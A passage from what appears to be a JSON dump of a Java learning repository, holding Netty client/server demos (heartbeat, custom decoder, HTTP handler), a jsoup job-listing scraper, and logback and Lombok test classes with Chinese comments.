    "content": "package com.jun.plugin.nio.netty.demo4;\n\nimport java.net.InetSocketAddress;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\n \n/**\n * \n* Description:  Netty 服务端    测试自定义解码器\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyServerDemo4 {  \n      \n    private  final static int port=4567;  \n      \n      \n    public void start(){  \n        EventLoopGroup bossGroup = new NioEventLoopGroup(1);  \n        EventLoopGroup workerGroup = new NioEventLoopGroup();  \n        try {  \n            ServerBootstrap sbs = new ServerBootstrap().group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).localAddress(new InetSocketAddress(port))  \n                    .childHandler(new ChannelInitializer<SocketChannel>() {  \n                          \n                        protected void initChannel(SocketChannel ch) throws Exception { \n                        \t ChannelPipeline p = ch.pipeline(); \n                        \t p.addLast(new StringDecoder());  \n                        \t p.addLast(new NettyServerHandlerDemo4());  //绑定自定义业务逻辑\n                        };  \n                          \n                    }).option(ChannelOption.SO_BACKLOG, 128)     \n                    .childOption(ChannelOption.SO_KEEPALIVE, true);  \n             // 绑定端口，开始接收进来的连接  \n             ChannelFuture future = sbs.bind(port).sync();    \n               \n             System.out.println(\"Netty服务端启动成功,端口为: \" + port );  \n             future.channel().closeFuture().sync();   //释放监听\n        } catch (Exception e) {  \n            bossGroup.shutdownGracefully();    //释放资源\n            workerGroup.shutdownGracefully();  \n        }  \n    }  \n      \n    public static void main(String[] args) throws Exception {  \n        new NettyServerDemo4().start();  \n    }  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo4/NettyServerHandlerDemo4.java",
    "content": "package com.jun.plugin.nio.netty.demo4;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;  \n \n/**\n * \n* Description:服务端业务逻辑处理类 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyServerHandlerDemo4 extends ChannelInboundHandlerAdapter {  \n   \n\t/**\n\t * 处理业务逻辑消息\n\t */\n    protected void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {  \n    \tSystem.out.println(\" ----- \"+msg);\n        if(msg instanceof NettySendBody) {  \n        \tNettySendBody nsb = (NettySendBody)msg;  \n            System.out.println(\"服务端接受的消息为:\"+nsb.toString());  \n            NettySendBody nsb1 = new  NettySendBody(); \n            nsb1.put(\"3333\",\"44444\");\n            ctx.writeAndFlush(nsb1);\n        }else{  \n        \tSystem.out.println(\"收到非法请求\");\n        }\n    }  \n    \n    @Override  \n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {  \n    \tSystem.out.println(\" ----- \"+msg);\n        if(msg instanceof NettySendBody) {  \n        \tNettySendBody nsb = (NettySendBody)msg;  \n            System.out.println(\"服务端接受的消息为:\"+nsb.toString());  \n            NettySendBody nsb1 = new  NettySendBody(); \n            nsb1.put(\"3333\",\"44444\");\n            ctx.writeAndFlush(nsb1);\n        }else{  \n        \tSystem.out.println(\"收到非法请求\");\n        }  \n    }  \n  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo5/NettyClientDemo5.java",
    "content": "package com.jun.plugin.nio.netty.demo5;\n\nimport java.io.IOException;\nimport java.util.concurrent.TimeUnit;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\nimport io.netty.handler.timeout.IdleStateHandler;\n\n/**\n * \n* Title: NettyClientDemo5\n* Description: Netty客户端  心跳测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyClientDemo5 {\n\t  public static String host = \"127.0.0.1\";  //ip地址\n\t    public static int port = 5678;\t\t\t//端口\n\t    /// 通过nio方式来接收连接和处理连接   \n\t    private static EventLoopGroup group = new NioEventLoopGroup(); \n\t    private static  Bootstrap b = new Bootstrap();\n\t    private static Channel ch=null;\n  \n\t    /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是ServerBootstrap。\n\t\t **/\n\t    public static void main(String[] args) throws InterruptedException, IOException { \n\t        \t b.group(group)  \n\t             .channel(NioSocketChannel.class)  \n\t             .option(ChannelOption.TCP_NODELAY,true)  \n\t             .handler(new ChannelInitializer<SocketChannel>() {  \n\t                 @Override  \n\t                 public void initChannel(SocketChannel ch) throws Exception {  \n\t                     ChannelPipeline p = ch.pipeline();  \n\t                     //入参说明: 读超时时间、写超时时间、所有类型的超时时间、时间格式\n\t                     //因为服务端设置的超时时间是5秒，所以设置4秒\n\t                     p.addLast( new IdleStateHandler(0, 4, 0, TimeUnit.SECONDS));  \n\t                     p.addLast( new StringDecoder());  \n\t                     p.addLast( new StringEncoder());  \n\t                     p.addLast(new NettyClientHandlerDemo5());   //绑定自定义业务 \n\t                 }  \n\t             });  \n\t            // 连接服务端\n\t            ch = b.connect(host, port).sync().channel();\n\t            System.out.println(\"客户端成功启动...\");\n\t            //发送消息\n//\t            star();\n\t    }\n\t    \n\t    public static void star() throws IOException{\n\t    \tString str=\"你好啊，Netty服务端\";\n\t        ch.writeAndFlush(str); \n\t    \tSystem.out.println(\"客户端发送数据:\"+str);\n\t   } \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo5/NettyClientHandlerDemo5.java",
    "content": "package com.jun.plugin.nio.netty.demo5;\n\nimport com.jun.plugin.utils.MyTools;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\nimport io.netty.handler.timeout.IdleState;\nimport io.netty.handler.timeout.IdleStateEvent;\nimport io.netty.util.CharsetUtil;\nimport io.netty.util.ReferenceCountUtil;\n\n/**\n * \n* Description: Netty业务处理  心跳测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyClientHandlerDemo5 extends ChannelInboundHandlerAdapter {  \n      \n\t\t/**心跳命令 */\n\t \tprivate static final ByteBuf HEARTBEAT_SEQUENCE = Unpooled.unreleasableBuffer(Unpooled.copiedBuffer(\"Heartbeat\",  \n\t            CharsetUtil.UTF_8));  \n\t      \n\t    private static final int TRY_TIMES = 3;  \n\t      \n\t    private int currentTime = 0;  \n\t      \n\t    /**\n\t     * 建立连接时\n\t     */\n\t    @Override  \n\t    public void channelActive(ChannelHandlerContext ctx) throws Exception {  \n\t        System.out.println(\"激活时间是：\"+MyTools.getNowTime(\"\"));  \n\t        ctx.fireChannelActive();  \n\t    }  \n\t  \n\t     /**\n\t      * 关闭连接时\n\t      */\n\t    @Override  \n\t    public void channelInactive(ChannelHandlerContext ctx) throws Exception {  \n\t        System.out.println(\"停止时间是：\"+MyTools.getNowTime(\"\"));  \n\t    }  \n\t  \n\t    @Override  \n\t    public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception {  \n\t        System.out.println(\"循环触发时间：\"+MyTools.getNowTime(\"\"));  \n\t        if (evt instanceof IdleStateEvent) {  \n\t            IdleStateEvent event = (IdleStateEvent) evt;  \n\t            System.out.println(\"event.state():\"+event.state()+\",IdleState.READER_IDLE:\"+IdleState.READER_IDLE);\n\t            if (event.state() == IdleState.WRITER_IDLE) {  \n\t            \tSystem.out.println(\"TRY_TIMES:\"+TRY_TIMES);\n\t                if(currentTime <= TRY_TIMES){  \n\t                    System.out.println(\"currentTime:\"+currentTime);  \n\t                    currentTime++;  \n\t                    ctx.channel().writeAndFlush(HEARTBEAT_SEQUENCE.duplicate());  \n\t                }  \n\t            }  \n\t        }  \n\t    }  \n\n\t    /**\n\t     * 业务逻辑处理\t\n\t     */\n\t    @Override  \n\t    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {  \n\t    \tSystem.out.println(\"接受的消息:\"+msg);\n\t        String message = (String) msg;  \n\t        if (message.equals(\"Heartbeat\")) {  \n\t            ctx.write(\"成功收到心跳信息\");  \n\t            ctx.flush();  \n\t        }  \n\t        ReferenceCountUtil.release(msg);  \n\t    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo5/NettyServerDemo5.java",
    "content": "package com.jun.plugin.nio.netty.demo5;\n\nimport java.net.InetSocketAddress;\nimport java.util.concurrent.TimeUnit;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\nimport io.netty.handler.timeout.IdleStateHandler;\n \n/**\n * \n* Description:  Netty 服务端    测试心跳\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyServerDemo5 {  \n      /** 设置端口 */\n    private  final static int port=5678;  \n      \n      \n    public void start(){  \n        EventLoopGroup bossGroup = new NioEventLoopGroup(1);  \n        EventLoopGroup workerGroup = new NioEventLoopGroup();  \n        try {  \n            ServerBootstrap sbs = new ServerBootstrap().group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).localAddress(new InetSocketAddress(port))  \n                    .childHandler(new ChannelInitializer<SocketChannel>() {  \n                          \n                        protected void initChannel(SocketChannel ch) throws Exception { \n                        \t ChannelPipeline p = ch.pipeline(); \n                        \t //入参说明: 读超时时间、写超时时间、所有类型的超时时间、时间格式\n                        \t p.addLast(new IdleStateHandler(5, 0, 0, TimeUnit.SECONDS));\n                        \t p.addLast(new StringDecoder());  \t\t\t//String解码器\n                        \t p.addLast(new StringEncoder());  \t\t\t//String编码器\n                        \t p.addLast(new NettyServerHandlerDemo5());  //绑定自定义业务逻辑\n                        };  \n                          \n                    }).option(ChannelOption.SO_BACKLOG, 128)     \n                    .childOption(ChannelOption.SO_KEEPALIVE, true);  \n             // 绑定端口，开始接收进来的连接  \n             ChannelFuture future = sbs.bind(port).sync();    \n               \n             System.out.println(\"Netty服务端启动成功,端口为: \" + port );  \n             future.channel().closeFuture().sync();   //释放监听\n        } catch (Exception e) {  \n            bossGroup.shutdownGracefully();    //释放资源\n            workerGroup.shutdownGracefully();  \n        }  \n    }  \n      \n    public static void main(String[] args) throws Exception {  \n        new NettyServerDemo5().start();  \n    }  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo5/NettyServerHandlerDemo5.java",
    "content": "package com.jun.plugin.nio.netty.demo5;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\nimport io.netty.handler.timeout.IdleState;\nimport io.netty.handler.timeout.IdleStateEvent;\n \n/**\n * \n* Description:服务端业务逻辑处理类  \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyServerHandlerDemo5 extends ChannelInboundHandlerAdapter {  \n\t/** 时间 */\n    private int loss_connect_time = 0; \n    /** 发送次数 */\n    private int count = 1;  \n    \n    @Override  \n    public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception {  \n        if (evt instanceof IdleStateEvent) {  \n            IdleStateEvent event = (IdleStateEvent) evt;  \n            System.out.println(\"event.state():\"+event.state()+\",IdleState.READER_IDLE:\"+IdleState.READER_IDLE);\n            if (event.state() == IdleState.READER_IDLE) {  \n                loss_connect_time++;  \n                System.out.println(\"5 秒没有接收到客户端的信息了\");  \n                if (loss_connect_time > 2) {  \n                    System.out.println(\"关闭这个不活跃的channel\");  \n                    ctx.channel().close();  \n                }  \n            }  \n        } else {  \n            super.userEventTriggered(ctx, evt);  \n        }  \n    } \n   \n\t\n    /**\n     * 处理业务逻辑\n     */\n    @Override  \n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {  \n    \tSystem.out.println(\" ----- \"+msg);\n    \tString a=\"你好啊\"+\",count:\"+count;\n        ctx.writeAndFlush(a);\n        count++;\n    }  \n  \n    /**\n     * 异常处理\n     */\n    @Override  \n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {  \n        cause.printStackTrace();  \n        ctx.close();  \n    } \n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo6/NettyServer.java",
    "content": "package com.jun.plugin.nio.netty.demo6;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\n\n\n/**\n * \n* Title: NettyServer\n* Description: Netty服务端  Http测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月26日\n */\npublic class NettyServer {\n\t    private static final int port = 6789; //设置服务端端口\n\t    private static  EventLoopGroup group = new NioEventLoopGroup();   // 通过nio方式来接收连接和处理连接   \n\t    private static  ServerBootstrap b = new ServerBootstrap();\n\t    \n\t    /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是\tServerBootstrap。\n\t\t **/\n\t    public static void main(String[] args) throws InterruptedException {\n\t        try {\n\t            b.group(group);\n\t            b.channel(NioServerSocketChannel.class);\n\t            b.childHandler(new NettyServerFilter()); //设置过滤器\n\t            // 服务器绑定端口监听\n\t            ChannelFuture f = b.bind(port).sync();\n\t            System.out.println(\"服务端启动成功,端口是:\"+port);\n\t            // 监听服务器关闭监听\n\t            f.channel().closeFuture().sync();\n\t        } finally {\n\t            group.shutdownGracefully(); //关闭EventLoopGroup，释放掉所有资源包括创建的线程  \n\t        }\n\t    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo6/NettyServerFilter.java",
    "content": "package com.jun.plugin.nio.netty.demo6;\n\n\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.http.HttpObjectAggregator;\nimport io.netty.handler.codec.http.HttpRequestDecoder;\nimport io.netty.handler.codec.http.HttpResponseEncoder;\n \n\n/**\n * \n* Title: NettyServerFilter\n* Description: Netty 服务端过滤器\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月26日\n */\npublic class NettyServerFilter extends ChannelInitializer<SocketChannel> {\n \n     @Override\n     protected void initChannel(SocketChannel ch) throws Exception {\n         ChannelPipeline ph = ch.pipeline();\n         //处理http服务的关键handler\n         ph.addLast(\"encoder\",new HttpResponseEncoder());\n         ph.addLast(\"decoder\",new HttpRequestDecoder());\n         ph.addLast(\"aggregator\", new HttpObjectAggregator(10*1024*1024)); \n         ph.addLast(\"handler\", new NettyServerHandler());// 服务端业务逻辑\n     }\n }\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo6/NettyServerHandler.java",
    "content": "package com.jun.plugin.nio.netty.demo6;\n\nimport java.net.InetAddress;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelFutureListener;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\nimport io.netty.handler.codec.http.DefaultFullHttpResponse;\nimport io.netty.handler.codec.http.FullHttpRequest;\nimport io.netty.handler.codec.http.FullHttpResponse;\nimport io.netty.handler.codec.http.HttpHeaderNames;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpResponseStatus;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\n/**\n * \n* Title: NettyServerHandler\n* Description: 服务端业务逻辑\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月26日\n */\npublic class NettyServerHandler extends ChannelInboundHandlerAdapter {\n\tprivate String result=\"\";\n\t/*\n\t * 收到消息时，返回信息\n\t */\n\t@Override\n\tpublic void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n\t\tif(! (msg instanceof FullHttpRequest)){\n\t\t\tresult=\"未知请求!\";\n\t\t\tsend(ctx,result,HttpResponseStatus.BAD_REQUEST);\n\t\t\treturn;\n\t \t}\n\t\tFullHttpRequest httpRequest = (FullHttpRequest)msg;\n\t\ttry{\n\t\t\tString path=httpRequest.uri();\t\t\t//获取路径\n\t\t\tString body = getBody(httpRequest); \t//获取参数\n\t\t\tHttpMethod method=httpRequest.method();//获取请求方法\n\t\t\t//如果不是这个路径，就直接返回错误\n\t\t\tif(!\"/test\".equalsIgnoreCase(path)){\n\t\t\t\tresult=\"非法请求!\";\n\t\t\t\tsend(ctx,result,HttpResponseStatus.BAD_REQUEST);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tSystem.out.println(\"接收到:\"+method+\" 请求\");\n\t\t\t//如果是GET请求\n\t\t\tif(HttpMethod.GET.equals(method)){ \n\t\t\t\t//接受到的消息，做业务逻辑处理...\n\t\t\t\tSystem.out.println(\"body:\"+body);\n\t\t\t\tresult=\"GET请求\";\n\t\t\t\tsend(ctx,result,HttpResponseStatus.OK);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t//如果是POST请求\n\t\t\tif(HttpMethod.POST.equals(method)){ \n\t\t\t\t//接受到的消息，做业务逻辑处理...\n\t\t\t\tSystem.out.println(\"body:\"+body);\n\t\t\t\tresult=\"POST请求\";\n\t\t\t\tsend(ctx,result,HttpResponseStatus.OK);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t//如果是PUT请求\n\t\t\tif(HttpMethod.PUT.equals(method)){ \n\t\t\t\t//接受到的消息，做业务逻辑处理...\n\t\t\t\tSystem.out.println(\"body:\"+body);\n\t\t\t\tresult=\"PUT请求\";\n\t\t\t\tsend(ctx,result,HttpResponseStatus.OK);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t//如果是DELETE请求\n\t\t\tif(HttpMethod.DELETE.equals(method)){ \n\t\t\t\t//接受到的消息，做业务逻辑处理...\n\t\t\t\tSystem.out.println(\"body:\"+body);\n\t\t\t\tresult=\"DELETE请求\";\n\t\t\t\tsend(ctx,result,HttpResponseStatus.OK);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}catch(Exception e){\n\t\t\tSystem.out.println(\"处理请求失败!\");\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\t//释放请求\n\t\t\thttpRequest.release();\n\t\t}\n\t}\n   \n\t/**\n\t * 获取body参数\n\t * @param request\n\t * @return\n\t */\n\tprivate String getBody(FullHttpRequest request){\n\t\tByteBuf buf = request.content();\n\t\treturn buf.toString(CharsetUtil.UTF_8);\n\t}\n\t\n\t/**\n\t * 发送的返回值\n\t * @param ctx\t  返回\n\t * @param context 消息\n\t * @param status 状态\n\t */\n\tprivate void send(ChannelHandlerContext ctx, String context,HttpResponseStatus status) {\n\t\tFullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));\n\t\tresponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"text/plain; charset=UTF-8\");\n\t\tctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);\n\t}\n\t\n\t/*\n\t * 建立连接时，返回消息\n\t */\n\t@Override\n\tpublic void channelActive(ChannelHandlerContext ctx) throws Exception {\n\t\tSystem.out.println(\"连接的客户端地址:\" + ctx.channel().remoteAddress());\n\t\tctx.writeAndFlush(\"客户端\"+ InetAddress.getLocalHost().getHostName() + \"成功与服务端建立连接！ \");\n\t\tsuper.channelActive(ctx);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo6/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: Http服务测试\n * Version:1.0.0  \n * @author pancm\n * @date 2017年10月26日\n */\npackage com.jun.plugin.nio.netty.demo6;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: Netty 测试\n * Version:1.0.0  \n * @author pancm\n * @date 2017-8-31\n */\npackage com.jun.plugin.nio.netty;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: nio 相关的代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.nio;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/others/JsoupHtml.java",
    "content": "package com.jun.plugin.others;\n\nimport java.io.IOException;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\n/**\n * \n* @Title: JsoupHtml\n* @Description: 爬虫测试\n* 使用 jsoup \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年3月21日\n */\npublic class JsoupHtml {\n    \n    private String url=\"http://sou.zhaopin.com/jobs/searchresult.ashx?jl=\";  //智联招聘网站\n    private  String city=\"深圳\"; //搜索工作的城市\n    private  String keywords=\"java\";  //搜索工作的关键字\n    public JsoupHtml(String city,String keywords){        \n        this.city=city;\n        this.keywords =keywords;\n        \n    }\n    \n    public void getZhiLianWork(){\n        try {\n            for (int i=0;i<10;i++) {\n                    System.out.println(\"*********开始遍历第\"+(i+1)+\"页的求职信息*********\");\n                    Document doc = Jsoup.connect(url+city+\"&kw=\"+keywords+\"&p=\"+(i+1)+\"&isadv=0\").get();                    \n                    Element content = doc.getElementById(\"newlist_list_content_table\"); \n                    if(content == null){\n                    \tcontinue;\n                    }\n                    Elements zwmcEls = content.getElementsByClass(\"zwmc\");\n                    Elements gsmcEls = content.getElementsByClass(\"gsmc\");            \n                    Elements zwyxEls = content.getElementsByClass(\"zwyx\");            \n                    Elements gzddEls = content.getElementsByClass(\"gzdd\");            \n                    Elements gxsjEls = content.getElementsByClass(\"gxsj\");\n                    for(int j = 0;j<zwmcEls .size();j++){\n                        \n                        System.out.println(\n                                zwmcEls.get(j).tagName(\"a\").text()+\"*****\"+gsmcEls.get(j).tagName(\"a\").text()+\n                                \"*****\"+zwyxEls.get(j).tagName(\"a\").text()+\"*****\"+gzddEls.get(j).tagName(\"a\").text()+\n                                \"*****\"+gxsjEls.get(j).tagName(\"a\").text());\n                        System.out.println();\n                }\n                    System.out.println(\"*********结束遍历第\"+(i+1)+\"页的求职信息*********\");\n            \n            }\n            \n        } catch (IOException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n    }\n    public static void main(String[] args) {    \n        \n        JsoupHtml jHtml = new JsoupHtml(\"上海\", \"java\");\n        jHtml.getZhiLianWork();\n        \n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/others/LogbackTest.java",
    "content": "package com.jun.plugin.others;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n\n/**\n * \n* @Title: logbackTest\n* @Description:\n* logback日志测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年1月24日\n */\npublic class LogbackTest {\n\t//主程序的日志打印\n\tprivate static Logger LOG = LoggerFactory.getLogger(LogbackTest.class);\n\t//自定义的日志打印\n\tprivate static Logger LOG2 = LoggerFactory.getLogger(\"oneInfo\");\n\t//自定义的日志打印\n\tprivate static Logger LOG3 = LoggerFactory.getLogger(\"twoInfo\");\n\t\n\tpublic static void main(String[] args) {\n\t\ttest();\n\t}\n\t\n\t\n\tprivate static void test(){\n\t\t/*  \n\t\t * 因为设置打印的级别是info，所以debug级别的不会打印 \n\t\t * */\n\t\tLOG.debug(\"主程序的debug\");\n\t\tLOG.info(\"主程序的info\");\n\t\tLOG.warn(\"主程序的warn\");\n\t\tLOG.error(\"主程序的error\");\n\t\t\n\t\t/* \n\t\t * 因为自定义配置设定的是  additivity=\"false\"  不在控制台打印\n\t\t * 所以一条都不会打印，但是debug级别以上的日志可以在logs/pcm/oneInfo中查看\n\t\t */\n\t\tLOG2.debug(\"oneInfo的debug\");\n\t\tLOG2.info(\"oneInfo的info\");\n\t\tLOG2.warn(\"oneInfo的warn\");\n\t\tLOG2.error(\"oneInfo的error\");\n\t\t\n\t\t/* \n\t\t * 因为自定义配置设定的是 additivity=\"true\"  可以在控制台打印\n\t\t * 所以回打印两条warn级别的日志，日志也可以在logs/pcm/oneInfo中查看\n\t\t */\n\t\tLOG3.debug(\"twoInfo的debug\");\n\t\tLOG3.info(\"twoInfo的info\");\n\t\tLOG3.warn(\"twoInfo的warn\");\n\t\tLOG3.error(\"twoInfo的error\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/others/LombokTest.java",
    "content": "package com.jun.plugin.others;\n\nimport java.io.BufferedWriter;\nimport java.io.FileWriter;\nimport java.io.IOException;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Cleanup;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.NonNull;\nimport lombok.ToString;\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * \n * @Title: LombokTest\n * @Description: 学生信息表 里面的属性通过lombok实现\n * @Version:1.0.0\n * @author pancm\n * @date 2018年1月11日\n */\n/*\n * @Data ：注解在类上；提供类所有属性的 getting 和 setting\n * 方法，此外还提供了equals、canEqual、hashCode、toString 方法\n * \n * @Setter：注解在属性上；为属性提供 setting 方法\n * \n * @Getter：注解在属性上；为属性提供 getting 方法\n * \n * @Log4j ：注解在类上；为类提供一个 属性名为log 的 log4j 日志对象\n * \n * @Slf4j ：注解在类上；为类提供一个 属性名为log 的 Slf4j 日志对象\n * \n * @NoArgsConstructor：注解在类上；为类提供一个无参的构造方法\n * \n * @AllArgsConstructor：注解在类上；为类提供一个全参的构造方法\n * \n * @ToString：注解在类上；为类提供一个toString的方法，可以指定属性进行排除\n * \n * @Cleanup:注解在属性上：可以自动进行close\n * @NonNull:注解在属性上：可以避免空指针\n */\n@Data\n@Slf4j\n@NoArgsConstructor\n@AllArgsConstructor\n@ToString(exclude = { \"id\", \"classId\" })\npublic class LombokTest {\n\t/** 学生id */\n\tprivate int id;\n\t/** 学生姓名 */\n\tprivate String name;\n\t/** 班级ID */\n\tprivate int classId;\n\n\tpublic static void main(String[] args) {\n\t\tLombokTest student = new LombokTest();\n\t\tLombokTest student2 = new LombokTest(2, \"zhangsan\", 3);\n\t\tstudent.setId(1);\n\t\tstudent.setName(\"xuwujing\");\n\t\tstudent.setClassId(1);\n\t\tlog.info(\"id:{},姓名:{},班级:{}\", student.getId(), student.getName(), student.getClassId());\n\t\tlog.info(\"学生信息:{}\", student2.toString());\n\t\t\n\t\tString name=\"xuwujing\";\n\t\tString name2=null;\n\t\t\t\t\n\t\ttry {\n\t\t\ttest1();\n\t\t\ttest2();\n\t\t\ttest3(name);\n\t\t\ttest4(name2);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}catch (NullPointerException e2) {\n\t\t\tSystem.out.println(\"出现了空指针！\");\n\t\t\te2.printStackTrace();\n\t\t}\n\t\t\n\t\t/*\n \t\t\t\tINFO  com.pancm.test.pojoTest.Student - id:1,姓名:xuwujing,班级:1\n\t\t\t\tINFO  com.pancm.test.pojoTest.Student - 学生信息:Student(name=zhangsan)\n\t\t\t\t成功创建！\n\t\t\t\t成功创建！\n\t\t\t\txuwujing\n\t\t\t\t出现了空指针！\n\t\t\t\tjava.lang.NullPointerException: name is marked @NonNull but is null\n\t\t\t\tat com.pancm.test.pojoTest.Student.test4(Student.java:143)\n\t\t\t\tat com.pancm.test.pojoTest.Student.main(Student.java:81)\n\t\t */\n\t\t\n\t\t\n\t}\n\n\n\t/**\n\t * 普通的方法\n\t * \n\t * @throws IOException\n\t */\n\tprivate static  void test1() throws IOException {\n\t\t//创建要操作的文件路径和名称  \n        String path =\"E:/test/hello.txt\";\n        String str=\"你好!\";\n        FileWriter fw = new FileWriter(path);  \n        BufferedWriter bw=new BufferedWriter(fw);\n        bw.write(str);  \n        bw.close();\n        fw.close();  \n        System.out.println(\"成功创建！\");\n\t}\n\n\t/**\n\t * 使用cleanup注解\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void test2() throws IOException {\n\t\t//创建要操作的文件路径和名称  \n        String path =\"E:/test/hello.txt\";\n        String str=\"你好!\";\n        @Cleanup\n        FileWriter fw = new FileWriter(path);  \n        @Cleanup\n        BufferedWriter bw=new BufferedWriter(fw);\n        bw.write(str);  \n        